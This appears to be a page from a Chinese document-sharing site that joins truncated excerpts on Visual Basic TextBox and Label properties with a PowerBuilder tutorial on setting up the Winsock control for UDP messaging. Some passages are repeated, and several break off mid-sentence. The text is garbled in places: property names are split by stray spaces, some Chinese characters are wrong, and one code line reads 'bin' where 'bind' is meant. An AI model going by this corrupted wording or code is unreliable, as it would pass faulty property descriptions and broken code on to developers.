False能通过键盘修改文本框的Text属性内容 MaxLe ngth 获得或设置Text属性中所能输入的最大字符输。如果输入的字符数超过MaxLength设定的数目时,系统将不接受超出部分,并且发出警告声。 Mouselc on MousePointer=99时,设疋一个自疋义的鼠标图标Mouse Poin ter MultiLi ne 设置文本框对象是否可以输入多行文字。取值为: True当文本超过控件边界时,自动换行。 False 需要注意的是:若该属性为False时,文本框控件对象的A lignment属性无效。 OLEDragMode 获得或设置该对象是否能作为OLE拖/放源,以及该进程是自动启动,还是在程序控制下启动。取值为: 0 Manual(手动) 1 Automatic(自动) OLEDro pMode 获得或设置该对象是否能作为一个OLE放下目标,以及它是自动发生,还是在程序控制下发生。取值为: 0 No ne(无) 1 Manual(手动) P asswordChar 该属性将文本显示的内容全部改为所设置的内容。他常用于设置密码,如PasswordChar设定为"*",那么无论用户输入什么字符,都只显示"*"。 RightToLeft 文本书与是否自左向右。取值为:True False自右向左 ScrollBoars 设置边框滚动条模式:0无滚动条 1水平滚动条 2垂直滚动条 3水平和垂直滚动条 SelLe ngth 返回或设置选定文本的长度(字符数)。 该属性没有列在属性窗口中,但在程序中可以使用这些属性。 SelStart 返回或设置选定文本的起始位置,如果没有文本被选中,则指出插入点的位置。 该属性没有列在属性窗口中,但在程序中可以使用这些属

在POWERBUILDER中使用WINSOCK控件的方法

---- 随着资源共享和实时通讯的需要,很多计算机应用程序早已甩开单兵作战的模式,转入联合行动。 ---- 网络在计算机世界里,越来越发挥着举足轻重的作用。在WINDOWS应用程序中,处理实时通讯最常用到的还是MICROSOFT公司提供的WINSOCK控件。许多资料都细述了WINSOCK在VB中的使用方法,就连WINDOWS本身提供的hlp文件也是针对VB而写的。笔者因为实际应用的需要,琢磨出了WINSOCK控件在PB中的应用方法。好东西不敢独自享用,拿出来与大家共享。 ---- 下面以一个简单程序为例,说明WINSOCK控件在PB中的使用: ---- 一、在窗口中添加WINSOCK控件: ---- 在应用中新开一个窗口,在窗口画板中点击controls-->OLE菜单项,弹出Insert object窗口,单击Insert control标签,从列表框中双击选定Microsoft Winsock control,将winsock的图标贴在窗口上。 ---- 在程序中该控件名称定为winsock_a(甲方)和winsock_b(乙方)。 ---- 二、设置信息输入输出文本框: ---- 在窗口中增加一个按钮cb_1,两个单行文本框sle_1,sle_2,分别用于输入要发送的字符串和接受对方发送的字符串。 ---- 三、设置通讯协议: ---- WINSOCK控件允许用户以UDP和TCP两种协议中任选一种进行通讯。 ---- 1.UDP协议设置:UDP协议是一种无连接的通讯协议,在通讯之前,需要绑定remotehost 和remoteport属性,如果需要双向通讯,还要设置localport属性。 ---- 在甲方(本机地址为:134.1.1.1)窗口的Open事件中加入如下语句: winsock_a.object.protocol=1 //winsock通讯协议设为UDP协议 winsock_a.object.remotehost="134.1.1.2" //对方的ip地址 winsock_a.object.remoteport=6000 //对方的winsock通讯端口号 winsock_a.object.localport=6001 //本机的winsock通讯端口号 winsock_a.object.bind

VB内部控件属性解释

VB内部控件属性解释 控件在VB程序设计中扮演重要的角色,它是VB程序的基本组成部分。合理恰当地使用各种不同的控件,以及熟练掌握各个控件的属性设置,是进行VB程序设计的基础。另外控件应用的好坏直 接影响应用程序界面的美观性和操作的方便性。本章详细介绍VB的内部控件的使用方法。 4.1 标签 标签是VB中最简单的控件,用于显示字符串,通常显示的是文字说明信息。但不能编辑标签控件。 使用标签的情况很多,通常用标签来标注本身不具有Caption属性的控件。例如,可用标签为文本框、列表框、组合框等控件来添加描述性的标签。还可编写代码改变标签控件的显示文本以响 应运行时的事件。例如,若应用程序需要用几分钟处理某个操作,则可用标签显示处理情况的信息。 4.1.1 常用属性 标签的属性很多,下面介绍几个常用的属性。 (1)Alignment属性 设置标签中文本的对齐方式。其使用语法如下: Object.Alignment[=值] 其中的“值”可以为0,1或2。0(默认值)表示左对齐;1表示右对齐;2表示居中。 (2)AutoSize属性 设置控件是否能够自动调整大小以显示所有的内容。其使用语法如下: Object.AutoSize[=True或False] (3)BackStyle属性 设置标签的背景样式。其使用语法如下: Object.BackStyle[=值] 其中的“值”可以为0或1。1(默认值)表示是不透明的;0表示是透明的。 (4)BorderStyle属性 设置标签的边框样式。其使用语法如下: Object.BorderStyle[=值] 其中的“值”可以为0或1。0(默认值)表示无边框;1表示单线边框。 (5)Caption属性 设置标签的文本内容。其使用语法如下: Object.Caption[=字符串] (6)WordWrap属性 设置标签的文本在显示时是否自动折行功能。其使用语法如下: Object.WordWrap[=True或False] 其中True表示具有自动折行功能;False(默认值)表示没有自动折行功能。 4.1.2 常用事件和方法 一般很少使用标签事件,标签的方法中常用的只有Move,其基本语法如下: Move left,top,width,height 其中left,top,width,height分别表示移动目的位置的坐标和大小。left为必要参数,其他三个为可选参数。 4.1.3 应用例子 目的:设计一个窗体说明标签的基本应用方法。

使用WINSOCK控件的方法

在POWERBUILDER中使用WINSOCK控件的方法 随着资源共享和实时通讯的需要,很多计算机应用程序早已甩开单兵作战的模式,转入联合行动。 网络在计算机世界里,越来越发挥着举足轻重的作用。在WINDOWS应用程序中,处理实时通讯最常用到的还是MICROSOFT公司提供的WINSOCK控件。许多资料都细述了WINSOCK在VB中的使用方法,就连WINDOWS本身提供的hlp文件也是针对VB而写的。笔者因为实际应用的需要,琢磨出了WINSOCK 控件在PB中的应用方法。好东西不敢独自享用,拿出来与大家共享。 下面以一个简单程序为例,说明WINSOCK控件在PB中的使用: 一、在窗口中添加WINSOCK控件: 在应用中新开一个窗口,在窗口画板中点击controls-->OLE菜单项,弹出Insert object窗口,单击Insert control标签,从列表框中双击选定Microsoft Winsock control,将winsock的图标贴在窗口上。 在程序中该控件名称定为winsock_a(甲方)和winsock_b(乙方)。 二、设置信息输入输出文本框: 在窗口中增加一个按钮cb_1,两个单行文本框sle_1,sle_2,分别用于输入要发送的字符串和接受对方发送的字符串。 三、设置通讯协议: WINSOCK控件允许用户以UDP和TCP两种协议中任选一种进行通讯。 1.UDP协议设置:UDP协议是一种无连接的通讯协议,在通讯之前,需要绑定remotehost和remoteport 属性,如果需要双向通讯,还要设置localport属性。

在甲方(本机地址为:134.1.1.1)窗口的Open事件中加入如下语句: winsock_a.object.protocol=1 //winsock通讯协议设为UDP协议 winsock_a.object.remotehost="134.1.1.2" //对方的ip地址 winsock_a.object.remoteport=6000 //对方的winsock通讯端口号 winsock_a.object.localport=6001 //本机的winsock通讯端口号 winsock_a.object.bind //绑定通讯协议 在乙方(本机地址为:134.1.1.2)窗口的Open事件中加入如下语句: winsock_b.object.protocol=1 //winsock通讯协议设为UDP协议 winsock_b.object.remotehost="134.1.1.1" //对方的ip地址 winsock_b.object.remoteport=6001 //对方的winsock通讯端口号 winsock_b.object.localport=6000 //本机的winsock通讯端口号 winsock_b.object.bin //绑定通讯协议 2.TCP协议设置:TCP协议在通讯前需要进行连接。 在甲方(作为服务器端)窗口的Open事件中加入如下语句:

vb中常用控件及其功能

4.1 标签 标签是VB中最简单的控件,用于显示字符串,通常显示的是文字说明信息。但不能编辑标签控件。 使用标签的情况很多,通常用标签来标注本身不具有Caption属性的控件。例如,可用标签为文本框、列表框、组合框等控件来添加描述性的标签。还可编写代码改变标签控件的显示文本以响应运行时的事件。例如,若应用程序需要用几分钟处理某个操作,则可用标签显示处理情况的信息。 4.1.1 常用属性 标签的属性很多,下面介绍几个常用的属性。 (1)Alignment属性 设置标签中文本的对齐方式。其使用语法如下: Object.Alignment[=值] 其中的“值”可以为0,1或2。0(默认值)表示左对齐;1表示右对齐;2表示居中。 (2)AutoSize属性 设置控件是否能够自动调整大小以显示所有的内容。其使用语法如下: Object.AutoSize[=True或False] (3)BackStyle属性 设置标签的背景样式。其使用语法如下: Object.BackStyle[=值] 其中的“值”可以为0或1。1(默认值)表示是不透明的;0表示是透明的。 (4)BorderStyle属性 设置标签的边框样式。其使用语法如下: Object.BorderStyle[=值] 其中的“值”可以为0或1。0(默认值)表示无边框;1表示单线边框。 (5)Caption属性 设置标签的文本内容。其使用语法如下: Object.Caption[=字符串] (6)WordWrap属性 设置标签的文本在显示时是否自动折行功能。其使用语法如下: Object.WordWrap[=True或False] 其中True表示具有自动折行功能;False(默认值)表示没有自动折行功能。 4.1.2 常用事件和方法 一般很少使用标签事件,标签的方法中常用的只有Move,其基本语法如下: Move left,top,width,height 其中left,top,width,height分别表示移动目的位置的坐标和大小。left为必要参数,其他

相关文档